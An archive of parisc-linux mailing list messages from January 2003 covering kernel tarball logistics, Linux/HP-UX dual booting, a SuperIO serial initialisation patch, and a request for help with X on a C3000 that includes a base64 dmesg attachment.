Message-ID: <20030117161505.GD10121@tausq.org>
References: <Pine.LNX.4.44.0301170440560.24250-100000@montezuma.mastecende.com>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622131 20402 80.91.229.3 (22 Nov 2014 02:08:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Zwane Mwaikambo <zwane@holomorphy.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 17 09:18:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id C513E4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 17 Jan 2003 09:18:19 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 43736CD3A7; Fri, 17 Jan 2003 08:15:05 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.44.0301170440560.24250-100000@montezuma.mastecende.com>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17446

In reference to a message from Zwane Mwaikambo, dated Jan 17:
> One thing though, where is hweight64 on parisc?

it wasn't defined yet... but it is now (in cvs) :-)

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Zwane Mwaikambo <zwane@holomorphy.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH][2.5] smp_call_function_on_cpu for PARISC
Date: Fri, 17 Jan 2003 11:26:08 -0500 (EST)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0301171125090.24250-100000@montezuma.mastecende.com>
References: <20030117161505.GD10121@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622131 20405 80.91.229.3 (22 Nov 2014 02:08:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 17 09:25:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from montezuma.mastecende.com (modemcable092.130-200-24.mtl.mc.videotron.ca [24.200.130.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id E85AF4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 17 Jan 2003 09:25:34 -0700 (MST)
Original-Received: from localhost.localdomain (localhost.localdomain [127.0.0.1])
	by montezuma.mastecende.com (8.12.5/8.12.5) with ESMTP id h0HGQ8cA006181;
	Fri, 17 Jan 2003 11:26:11 -0500
X-X-Sender: zwane@montezuma.mastecende.com
In-Reply-To: <20030117161505.GD10121@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17447

On Fri, 17 Jan 2003, Randolph Chung wrote:

> In reference to a message from Zwane Mwaikambo, dated Jan 17:
> > One thing though, where is hweight64 on parisc?
> 
> it wasn't defined yet... but it is now (in cvs) :-)

Thanks for informing me =) I'll probably have to pull back on this until i 
have the code which depends on it out.

	Zwane
-- 
function.linuxpower.ca



From - Thu Nov 08 21:26:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS checkouts on ftp server
Date: Fri, 17 Jan 2003 09:38:33 -0700
Lines: 42
Approved: news@gmane.org
Message-ID: <20030117163833.3D59915192@paul.bame>
References: <20030115122121.C799@neep.com.au> <20030115131651.F26554@parcelfarce.linux.theplanet.co.uk>  <20030117184623.C23928@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622131 20407 80.91.229.3 (22 Nov 2014 02:08:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:51 +0000 (UTC)
To: Linux/HPPA List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 17 09:38:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id 764624829
	for <parisc-linux@parisc-linux.org>; Fri, 17 Jan 2003 09:38:34 -0700 (MST)
Original-Received: from smtp1.fc.hp.com (smtp1b.fc.hp.com [15.15.136.127])
	by atlrel6.hp.com (Postfix) with ESMTP id C8055225
	for <parisc-linux@parisc-linux.org>; Fri, 17 Jan 2003 11:38:33 -0500 (EST)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by smtp1.fc.hp.com (Postfix) with ESMTP id 784E13813B
	for <parisc-linux@parisc-linux.org>; Fri, 17 Jan 2003 09:38:33 -0700 (MST)
Original-Received: from paul.bame (paul.bame [10.66.2.7])
	by ldl.fc.hp.com (Postfix) with ESMTP id 69448418C
	for <parisc-linux@parisc-linux.org>; Fri, 17 Jan 2003 09:38:33 -0700 (MST)
Original-Received: from fc.hp.com (localhost [127.0.0.1])
	by paul.bame (Postfix) with ESMTP id 3D59915192
	for <parisc-linux@parisc-linux.org>; Fri, 17 Jan 2003 09:38:33 -0700 (MST)
In-Reply-To: Your message of "Fri, 17 Jan 2003 18:46:25 +0800."
             <20030117184623.C23928@neep.com.au> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17448

> > Those aren't currently being generated (AFAIK).  What _is_ being generated
> > are the patches against upstream: http://ftp.parisc-linux.org/2.5/kernel-sr
> c/
> 
> Ah yes, I saw those.  But then I'll need to make a vanilla Linus tree,
> and I am lazy.  I mean, streamlined and efficient.  =)

One reason I didn't bother with tarballs for 2.5 is it appears from
my limited sample that the tradition is per-arch patches -- and it makes
us appear to be more part of linux development rather than our own thing.

I also find that on slow links, I'm more likely to have a Linus kernel
tree somewhere nearby (perhaps on my x86 box) so only have to wait through
transferring the patch.  Less likely with 2.5 of course since it's changing
fast.

> It'd be nice.  Yes, I'd like it, if it's not a problem for anyone.
> Otherwise I'll try the above method, or slowly drag it out of CVS.  I'm
> assuming that occasional linux-2.5 tarballs might be useful for people
> other than me of course ...

Nobody else has asked.  I just posted a 2.5 tarball in the 2.5 patches
directory, which can then be kept up to date with CVS or with the
incremental patches.

> > > Also the /cvs directory contains a few files that look like stuff-ups
> > > from the CVS tarball roller: linux-.tar.gz and patch-.diff.gz ...
> > 
> > I can see them... but I can also see the CVS scripts are still running.
> > Possibly they'll be renamed later.
> 
> Doesn't seem to be; they're empty files (though > 0 bytes from gzip).  I
> think the checkout script is using an empty variable, eg linux-$i.tar.gz
> or whatever.  The 'latest' softlinks are to these empty files.  I can't
> see any likely-looking tarball-rolling scripts in CVSROOT/ so I'm unable
> to investigate further.

Nothing was obviously wrong with the script or log so I'm kicking it
off again.

	-P


From - Thu Nov 08 21:26:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nathan Neulinger <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Is Linux and HP-UX coexistence on same system
	possible?
Date: 18 Jan 2003 13:16:07 -0600
Organization: University of Missouri - Rolla
Lines: 42
Approved: news@gmane.org
Message-ID: <1042917367.5306.29.camel@cessna.rollanet.org>
References: <20030116002646.1973.qmail@web12501.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622132 20411 80.91.229.3 (22 Nov 2014 02:08:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan 18 12:16:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx.rollanet.org (mailsrv.rollanet.org [192.55.114.7])
	by dsl2.external.hp.com (Postfix) with SMTP id CB0EF4884
	for <parisc-linux@lists.parisc-linux.org>; Sat, 18 Jan 2003 12:16:08 -0700 (MST)
Original-Received: (qmail 17564 invoked from network); 18 Jan 2003 19:16:07 -0000
Original-Received: from cessna.rollanet.org (216.229.93.21)
  by mx.rollanet.org with SMTP; 18 Jan 2003 19:16:07 -0000
In-Reply-To: <20030116002646.1973.qmail@web12501.mail.yahoo.com>
X-Mailer: Ximian Evolution 1.2.0 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17449

Other than the boot lifimage, I wonder if you could actually do this
with a "contiguous allocation" logical volume, such as is used for
primary swap? You'd just need an HP utility for passing the block
boundary information to the linux side or palo. Not sure how'd you'd
manage the boot though unless you could get palo to boot the hp kernel.

-- Nathan

On Wed, 2003-01-15 at 18:26, Derek Engelhaupt wrote:
> You can only do it using 2 completely seperate disks or in my case I
> boot from 2 different LUNs on my Autoraid Model 12 - one LINUX the
> other HP-UX. 
> 
> derek 
> 
>  "BUEHL,REINER (HP-Germany,ex1)" <reiner.buehl@hp.com> wrote: 
>         Hi all,
>         
>         Is it possible to install parisc linux into an empty logical
>         volume of an
>         existing HP-UX 11 installation and then boot one or the other
>         OS?
>         
>         Best regards,
>         Reiner.
>         _______________________________________________
>         parisc-linux mailing list
>         parisc-linux@lists.parisc-linux.org
>         http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 
> ______________________________________________________________________
> Do you Yahoo!?
> Yahoo! Mail Plus - Powerful. Affordable. Sign up now
-- 

------------------------------------------------------------
Nathan Neulinger                       EMail:  nneul@umr.edu
University of Missouri - Rolla         Phone: (573) 341-4841
Computing Services                       Fax: (573) 341-4216



From - Thu Nov 08 21:26:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RFC on superio serial patch
Date: Sun, 19 Jan 2003 23:27:00 -0800
Lines: 195
Approved: news@gmane.org
Message-ID: <20030120072659.GB8487@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622132 20412 80.91.229.3 (22 Nov 2014 02:08:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:52 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 20 00:37:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id EFA13482B
	for <parisc-linux@parisc-linux.org>; Mon, 20 Jan 2003 00:37:14 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 1988FCDA56; Sun, 19 Jan 2003 23:27:00 -0800 (PST)
Content-Disposition: inline
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17450

The attached patch uses a slightly different mechanism to address the
circular dependency between SuperIO PCI init and serial init.
this is not particularly clean, but hopefully it will be more 
acceptable for submission upstream. Any comments?


Index: drivers/parisc/superio.c
===================================================================
RCS file: /var/cvs/linux-2.5/drivers/parisc/superio.c,v
retrieving revision 1.7
diff -u -p -r1.7 superio.c
--- drivers/parisc/superio.c	17 Dec 2002 19:53:29 -0000	1.7
+++ drivers/parisc/superio.c	20 Jan 2003 07:33:54 -0000
@@ -391,7 +391,7 @@ void __devinit
 superio_serial_init(void)
 {
 #ifdef CONFIG_SERIAL_8250
-	struct serial_struct *serial;
+	struct serial_struct serial;
 	int retval;
 	
 	if (!sio_dev.irq_region)
@@ -400,47 +400,39 @@ superio_serial_init(void)
 	if (!sio_dev.iosapic_irq_enabled)
 		superio_init(&sio_dev);
 
-	serial = kmalloc(2 * sizeof (struct serial_struct), GFP_KERNEL);
+	memset(&serial, 0, sizeof (struct serial_struct));
 
-	if (!serial) {
-		printk(KERN_WARNING "SuperIO: Could not get memory for serial struct.\n");
-		return;
-	}
-
-	memset(serial, 0, 2 * sizeof (struct serial_struct));
-
-	serial->type = PORT_16550A;
-	serial->line = 0;
-	serial->port = sio_dev.sp1_base;
-	serial->port_high = 0;
-	serial->irq = sio_dev.irq_region->data.irqbase + SP1_IRQ;
-	serial->io_type = SERIAL_IO_PORT;
-	serial->flags = 0;
-	serial->xmit_fifo_size = 16;
-	serial->custom_divisor = 0;
-	serial->baud_base = 115200;
+	serial.type = PORT_16550A;
+	serial.line = 0;
+	serial.port = sio_dev.sp1_base;
+	serial.port_high = 0;
+	serial.irq = sio_dev.irq_region->data.irqbase + SP1_IRQ;
+	serial.io_type = SERIAL_IO_PORT;
+	serial.flags = 0;
+	serial.xmit_fifo_size = 16;
+	serial.custom_divisor = 0;
+	serial.baud_base = 115200;
 
-	retval = register_serial(serial);
+	retval = register_serial(&serial);
 	if (retval < 0) {
 		printk(KERN_WARNING "SuperIO: Register Serial #0 failed.\n");
-		kfree (serial);
 		return;
 	}
 
-	serial++;
+	memset(&serial, 0, sizeof (struct serial_struct));
 
-	serial->type = PORT_16550A;
-	serial->line = 1;
-	serial->port = sio_dev.sp2_base;
-	serial->port_high = 0;
-	serial->irq = sio_dev.irq_region->data.irqbase + SP2_IRQ;
-	serial->io_type = SERIAL_IO_PORT;
-	serial->flags = 0;
-	serial->xmit_fifo_size = 16;
-	serial->custom_divisor = 0;
-	serial->baud_base = 115200;
+	serial.type = PORT_16550A;
+	serial.line = 1;
+	serial.port = sio_dev.sp2_base;
+	serial.port_high = 0;
+	serial.irq = sio_dev.irq_region->data.irqbase + SP2_IRQ;
+	serial.io_type = SERIAL_IO_PORT;
+	serial.flags = 0;
+	serial.xmit_fifo_size = 16;
+	serial.custom_divisor = 0;
+	serial.baud_base = 115200;
 
-	retval = register_serial(serial);
+	retval = register_serial(&serial);
 	if (retval < 0)
 		printk(KERN_WARNING "SuperIO: Register Serial #1 failed.\n");
 #endif /* CONFIG_SERIAL_8250 */
@@ -504,9 +496,6 @@ static int __devinit superio_probe(struc
 #ifdef CONFIG_PARPORT_PC
 		superio_parport_init();
 #endif
-#ifdef CONFIG_SERIAL_8250
-		superio_serial_init();
-#endif
 		/* REVISIT : superio_fdc_init() ? */
 		return 0;
 	} else {
@@ -530,11 +519,6 @@ static struct pci_driver superio_driver 
 
 static int __init superio_modinit(void)
 {
-#ifdef CONFIG_SERIAL_8250
-	extern int serial8250_init(void);
-	serial8250_init();
-#endif
-
 	return pci_module_init(&superio_driver);
 }
 
Index: drivers/serial/8250.c
===================================================================
RCS file: /var/cvs/linux-2.5/drivers/serial/8250.c,v
retrieving revision 1.9
diff -u -p -r1.9 8250.c
--- drivers/serial/8250.c	11 Jan 2003 23:05:10 -0000	1.9
+++ drivers/serial/8250.c	20 Jan 2003 07:33:56 -0000
@@ -2032,12 +2032,9 @@ void serial8250_get_irq_map(unsigned int
 	}
 }
 
-int __init serial8250_init(void)
+static int __init serial8250_init(void)
 {
 	int ret, i;
-/* GROSS HACK for now -PB */
-static int beenhere = 0;
-if (beenhere++) return 1;
 
 	printk(KERN_INFO "Serial: 8250/16550 driver $Revision: 1.90 $ "
 		"IRQ sharing %sabled\n", share_irqs ? "en" : "dis");
Index: drivers/serial/Makefile
===================================================================
RCS file: /var/cvs/linux-2.5/drivers/serial/Makefile,v
retrieving revision 1.9
diff -u -p -r1.9 Makefile
--- drivers/serial/Makefile	24 Dec 2002 22:43:16 -0000	1.9
+++ drivers/serial/Makefile	20 Jan 2003 07:33:56 -0000
@@ -29,3 +29,4 @@ obj-$(CONFIG_SERIAL_68328) += 68328seria
 obj-$(CONFIG_SERIAL_68360) += 68360serial.o
 obj-$(CONFIG_SERIAL_COLDFIRE) += mcfserial.o
 obj-$(CONFIG_V850E_NB85E_UART) += nb85e_uart.o
+obj-$(CONFIG_PARISC) += parisc.o

--- /dev/null	2002-08-24 10:36:34.000000000 -0700
+++ drivers/serial/parisc.c	2003-01-19 23:33:34.000000000 -0800
@@ -0,0 +1,36 @@
+/*
+ *  serial hooks for parisc-based serial drivers
+ *
+ *  Copyright (C) 2003 Randolph Chung <tausq@debian.org>
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * Right now this is here just for SuperIO based serial devices
+ * used on some parisc workstations. In the future it may also be
+ * used to implement other parisc-specific serial behavior.
+ */
+#include <linux/config.h>
+#include <linux/init.h>
+#include <linux/module.h>
+#include <asm/superio.h>
+
+static int __init parisc_serial_init(void)
+{
+#ifdef CONFIG_SUPERIO
+	/* The serial function on SuperIO is part of the LIO function;
+	 * as such, superio cannot be written as a generic serial driver.
+	 * The PCI portion of SuperIO is initialized first by 
+	 * drivers/parisc/superio.c. Only after the core serial 
+	 * functionalities are initialized, this driver is called to 
+	 * actually register the serial device with the generic 8250 
+	 * serial driver.
+	 */
+	superio_serial_init();
+#endif
+}
+
+module_init(parisc_serial_init);
+

-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bala <balak@ieee.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] X on C3000
Date: Mon, 20 Jan 2003 04:40:25 -0600 (CST)
Lines: 462
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.50.0301200433230.5018-300000@lion.ece.utexas.edu>
References: <Pine.LNX.4.33.0212031525140.30608-100000@dhcp-53-142.ece.utexas.edu>
 <20021203235649.GC6220@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="110259765-898508547-1043059225=:5018"
X-Trace: ger.gmane.org 1416622132 20416 80.91.229.3 (22 Nov 2014 02:08:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:52 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 20 03:24:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.utexas.edu (wb2-a.mail.utexas.edu [128.83.126.136])
	by dsl2.external.hp.com (Postfix) with SMTP id AA64B482B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 20 Jan 2003 03:24:43 -0700 (MST)
Original-Received: (qmail 8688 invoked by uid 0); 20 Jan 2003 10:24:42 -0000
Original-Received: from lion.ece.utexas.edu (146.6.53.110)
  by umbs-smtp-2 with SMTP; 20 Jan 2003 10:24:42 -0000
X-X-Sender: kjbala@lion.ece.utexas.edu
In-Reply-To: <20021203235649.GC6220@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17451

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

--110259765-898508547-1043059225=:5018
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hi,

I have not been able to setup X on my C3000. It says "screen not
found". I tried using using your XF86Config-4 file but it still doesn't
help. I am posting the dmesg and the X logs. Can anyone figure out what
could be the reason?

Thanks in advance.
bala

=>On Tue, Dec 03, 2002 at 03:31:06PM -0600, balak@ieee.org wrote:
=>> Has anyone been able to start X on c3000? Should I post the log files to
=>> figure out what could be the problem?
=>
=>Not yet. Just post the dmesg output immediately after the c3k boots.
=>We'll be able to see what kind of gfx card you have from that.
=>
=>See ftp://ftp.parisc-linux.org/kernels/c3000/ for my XF86Config-4
=>and kernels that work on my c3k. If you can't make forward progress
=>after looking at the XF86Config-4, then post the XF86 log files.
=>
=>hth,
=>grant









--110259765-898508547-1043059225=:5018
Content-Type: TEXT/PLAIN; charset=US-ASCII; name=dmesg
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.50.0301200440250.5018@lion.ece.utexas.edu>
Content-Description: 
Content-Disposition: attachment; filename=dmesg

TGludXggdmVyc2lvbiAyLjQuMTktMzIgKHJvb3RAbWtocHBhMykgKGdjYyB2
ZXJzaW9uIDMuMC40KSAjMSBGcmkgT2N0IDQgMTM6MDA6MjkgQ0VTVCAyMDAy
DQpGUFswXSBlbmFibGVkOiBSZXYgMSBNb2RlbCAxNg0KVGhlIDMyLWJpdCBL
ZXJuZWwgaGFzIHN0YXJ0ZWQuLi4NCkRldGVybWluaW5nIFBEQyBmaXJtd2Fy
ZSB0eXBlOiBTeXN0ZW0gTWFwLg0KbW9kZWwgMDAwMDViYjAgMDAwMDA0ODEg
MDAwMDAwMDAgMDAwMDAwMDIgNzdkYzAzZmMgMTAwMDAwZjAgMDAwMDAwMDgg
MDAwMDAwYjIgMDAwMDAwYjINCnZlcnMgIDAwMDAwMjAzDQpDUFVJRCB2ZXJz
IDE3IHJldiA3ICgweDAwMDAwMjI3KQ0KY2FwYWJpbGl0aWVzIDB4Mw0KbW9k
ZWwgOTAwMC83ODUvQzMwMDANClRvdGFsIE1lbW9yeTogMjU2MCBNYg0KcGFn
ZXRhYmxlX2luaXQNCk9uIG5vZGUgMCB0b3RhbHBhZ2VzOiA2NTUzNjANCnpv
bmUoMCk6IDY1NTM2MCBwYWdlcy4NCnpvbmUoMSk6IDAgcGFnZXMuDQp6b25l
KDIpOiAwIHBhZ2VzLg0KTENEIGRpc3BsYXkgYXQgZjA1ZDAwMDgsZjA1ZDAw
MDAgcmVnaXN0ZXJlZA0KS2VybmVsIGNvbW1hbmQgbGluZTogcm9vdD0vZGV2
L3NkYTMgSE9NRT0vIGNvbnNvbGU9dHR5MCBzdGk9MTAvNC8xLzAgc3RpX2Zv
bnQ9VkdBOHgxNiBURVJNPWxpbnV4IHBhbG9fa2VybmVsPTMvYm9vdC92bWxp
bnV4DQpDb25zb2xlOiBjb2xvdXIgZHVtbXkgZGV2aWNlIDE2MHg2NA0KQ2Fs
aWJyYXRpbmcgZGVsYXkgbG9vcC4uLiA3OTkuNTMgQm9nb01JUFMNCk1lbW9y
eTogMjU4NzMzNmsgYXZhaWxhYmxlDQpEZW50cnkgY2FjaGUgaGFzaCB0YWJs
ZSBlbnRyaWVzOiAyNjIxNDQgKG9yZGVyOiA5LCAyMDk3MTUyIGJ5dGVzKQ0K
SW5vZGUgY2FjaGUgaGFzaCB0YWJsZSBlbnRyaWVzOiAyNjIxNDQgKG9yZGVy
OiA5LCAyMDk3MTUyIGJ5dGVzKQ0KTW91bnQtY2FjaGUgaGFzaCB0YWJsZSBl
bnRyaWVzOiA2NTUzNiAob3JkZXI6IDcsIDUyNDI4OCBieXRlcykNCkJ1ZmZl
ci1jYWNoZSBoYXNoIHRhYmxlIGVudHJpZXM6IDI2MjE0NCAob3JkZXI6IDgs
IDEwNDg1NzYgYnl0ZXMpDQpQYWdlLWNhY2hlIGhhc2ggdGFibGUgZW50cmll
czogNTI0Mjg4IChvcmRlcjogOSwgMjA5NzE1MiBieXRlcykNClNlYXJjaGlu
ZyBmb3IgZGV2aWNlcy4uLg0KRm91bmQgZGV2aWNlczoNCjEuIEFzdHJvIEJD
IFJ1bndheSBQb3J0ICgxMikgYXQgMHhmZWQwMDAwMCBbMTBdLCB2ZXJzaW9u
